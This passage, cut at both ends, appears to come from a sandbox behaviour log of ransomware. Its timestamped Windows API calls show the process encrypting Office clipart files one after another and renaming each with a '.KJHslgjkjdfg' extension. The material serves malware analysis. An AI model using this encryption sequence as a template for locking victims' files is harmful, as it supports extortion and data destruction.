[0201.387] GetProcessHeap () returned 0x2ef0000 [0201.387] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.kjhslgjkjdfg")) returned 1 [0201.389] CloseHandle (hObject=0x130) returned 1 [0201.389] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55eb4900, ftCreationTime.dwHighDateTime=0x1bdbf6f, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55eb4900, ftLastWriteTime.dwHighDateTime=0x1bdbf6f, nFileSizeHigh=0x0, nFileSizeLow=0x9d27, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0144773.JPG", cAlternateFileName="")) returned 1 [0201.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.390] GetProcessHeap () returned 0x2ef0000 [0201.390] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.390] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.390] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0201.393] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.393] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.393] GetProcessHeap () returned 0x2ef0000 [0201.393] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.393] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.393] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.393] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.393] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.393] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.393] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.393] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.393] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.393] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.393] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9d27, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9d27, lpOverlapped=0x0) returned 1 [0201.395] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9d30, dwBufLen=0x9d30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9d30) returned 1 [0201.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.395] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9d30, lpOverlapped=0x0) returned 1 [0201.395] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.396] SetEndOfFile (hFile=0x130) returned 1 [0201.398] GetProcessHeap () returned 0x2ef0000 [0201.398] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.398] GetProcessHeap () returned 0x2ef0000 [0201.398] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.398] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.kjhslgjkjdfg")) returned 1 [0201.400] CloseHandle (hObject=0x130) returned 1 [0201.400] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8379, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145168.JPG", cAlternateFileName="")) returned 1 [0201.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.400] GetProcessHeap () returned 0x2ef0000 [0201.401] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.401] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.401] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0201.403] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.403] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.403] GetProcessHeap () returned 0x2ef0000 [0201.403] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.403] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.403] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.403] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.403] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.403] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.403] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.404] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.404] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.404] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.404] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8379, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8379, lpOverlapped=0x0) returned 1 [0201.405] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8380, dwBufLen=0x8380 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8380) returned 1 [0201.406] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.406] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8380, lpOverlapped=0x0) returned 1 [0201.406] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.406] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.406] SetEndOfFile (hFile=0x130) returned 1 [0201.409] GetProcessHeap () returned 0x2ef0000 [0201.409] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.409] GetProcessHeap () returned 0x2ef0000 [0201.409] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.410] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.kjhslgjkjdfg")) returned 1 [0201.411] CloseHandle (hObject=0x130) returned 1 [0201.411] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145212.JPG", cAlternateFileName="")) returned 1 [0201.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.413] GetProcessHeap () returned 0x2ef0000 [0201.413] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.413] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.413] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0201.415] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.415] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.415] GetProcessHeap () returned 0x2ef0000 [0201.415] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.415] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.415] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.415] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.415] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.416] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.416] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.416] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.416] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.416] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.416] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf0c1, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf0c1, lpOverlapped=0x0) returned 1 [0201.418] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf0d0, dwBufLen=0xf0d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf0d0) returned 1 [0201.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.419] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf0d0, lpOverlapped=0x0) returned 1 [0201.420] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf1a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.420] SetEndOfFile (hFile=0x130) returned 1 [0201.423] GetProcessHeap () returned 0x2ef0000 [0201.423] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.423] GetProcessHeap () returned 0x2ef0000 [0201.423] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.kjhslgjkjdfg")) returned 1 [0201.425] CloseHandle (hObject=0x130) returned 1 [0201.425] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc056, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145272.JPG", cAlternateFileName="")) returned 1 [0201.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.426] GetProcessHeap () returned 0x2ef0000 [0201.426] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.426] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.426] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0201.427] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.427] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.427] GetProcessHeap () returned 0x2ef0000 [0201.428] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.428] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.428] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.428] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.428] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.428] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.428] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.428] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.428] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.428] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.428] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc056, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc056, lpOverlapped=0x0) returned 1 [0201.433] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc060, dwBufLen=0xc060 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc060) returned 1 [0201.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.433] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc060, lpOverlapped=0x0) returned 1 [0201.433] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.433] SetEndOfFile (hFile=0x130) returned 1 [0201.436] GetProcessHeap () returned 0x2ef0000 [0201.436] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.436] GetProcessHeap () returned 0x2ef0000 [0201.436] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.kjhslgjkjdfg")) returned 1 [0201.437] CloseHandle (hObject=0x130) returned 1 [0201.437] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, 